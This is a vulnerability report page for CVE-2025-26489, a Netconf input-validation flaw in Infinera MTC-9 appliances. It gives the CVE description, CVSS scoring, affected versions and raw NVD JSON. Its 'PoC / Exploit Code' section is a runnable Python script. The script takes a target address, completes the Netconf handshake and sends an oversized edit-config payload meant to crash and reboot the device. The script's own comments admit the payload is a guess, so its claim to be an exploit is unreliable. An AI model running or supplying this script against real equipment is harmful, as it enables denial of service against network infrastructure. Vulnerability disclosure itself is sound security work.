Security Vulnerability Report
中文
CVE-2025-26489 CVSS 6.5 MEDIUM

CVE-2025-26489

Published: 2025-12-08 09:15:47
Last Modified: 2025-12-22 18:55:56
Source: a6d3dc9e-0591-4a13-bce7-0f5b31ff6158

Description

Improper input validation in the Netconf service in Infinera MTC-9 allows remote authenticated users to crash the service and reboot the appliance, thus causing a DoS condition, via crafted XML payloads.This issue affects MTC-9: from R22.1.1.0275 before R23.0.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:nokia:infinera_mtc-9_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:nokia:infinera_mtc-9:-:*:*:*:*:*:*:* - NOT VULNERABLE
Infinera MTC-9 R22.1.1.0275 及之后版本
Infinera MTC-9 R23.0 之前的所有版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-26489 PoC - Infinera MTC-9 Netconf DoS Note: This PoC is for educational and authorized testing purposes only. """ import socket import sys def send_netconf_payload(target_ip, target_port=830, username="low_priv_user", password="password"): """ Send a crafted XML payload to trigger the Netconf service vulnerability. This PoC demonstrates sending a malformed XML payload that could trigger improper input validation in Infinera MTC-9 Netconf service. """ # Crafted XML payload that may trigger input validation issues # The exact payload structure may vary based on specific vulnerability details malicious_xml = """<?xml version="1.0" encoding="UTF-8"?> <rpc message-id="101" xmlns="urn:ietf:params:xml:ns:netconf:base:1.0"> <edit-config> <target> <running/> </target> <config> <system xmlns="http://example.com/system"> <invalid-element-with-overly-long-value>""" + "A" * 10000 + """</invalid-element-with-overly-long-value> </system> </config> </edit-config> </rpc> ]]>]]>""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(30) sock.connect((target_ip, target_port)) # Send Hello message first (Netconf handshake) hello_msg = """<?xml version="1.0"?> <hello xmlns="urn:ietf:params:xml:ns:netconf:base:1.0"> <capabilities> <capability>urn:ietf:params:netconf:base:1.0</capability> </capabilities> </hello> ]]>]]>""" sock.send(hello_msg.encode()) hello_response = sock.recv(4096) print(f"[+] Received Hello response: {hello_response.decode()[:200]}...") # Send the malicious payload print(f"[*] Sending crafted XML payload...") sock.send(malicious_xml.encode()) # Wait for response try: response = sock.recv(4096) print(f"[*] Received response: {response.decode()[:200]}") except socket.timeout: print("[*] No response received (service may have crashed)") sock.close() return True except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 830 print(f"[*] Targeting {target}:{port}") send_netconf_payload(target, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-26489", "sourceIdentifier": "a6d3dc9e-0591-4a13-bce7-0f5b31ff6158", "published": "2025-12-08T09:15:46.810", "lastModified": "2025-12-22T18:55:55.673", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper input validation in the Netconf service in Infinera MTC-9 allows remote authenticated users to crash the service and \nreboot the appliance, thus causing a DoS condition, via crafted XML \npayloads.This issue affects MTC-9: from R22.1.1.0275 before R23.0."}], "metrics": {"cvssMetricV31": [{"source": "a6d3dc9e-0591-4a13-bce7-0f5b31ff6158", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "a6d3dc9e-0591-4a13-bce7-0f5b31ff6158", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:nokia:infinera_mtc-9_firmware:*:*:*:*:*:*:*:*", "versionStartIncluding": "22.1.1.0275", "versionEndExcluding": "23.0", "matchCriteriaId": "2C084211-7CFB-4149-BC00-609E29A3EF60"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:nokia:infinera_mtc-9:-:*:*:*:*:*:*:*", "matchCriteriaId": "48C75FDC-0C46-4EC4-BCC9-EBAD117A84FD"}]}]}], "references": [{"url": "https://www.cve.org/CVERecord?id=CVE-2025-26489", "source": "a6d3dc9e-0591-4a13-bce7-0f5b31ff6158", "tags": ["Third Party Advisory"]}]}}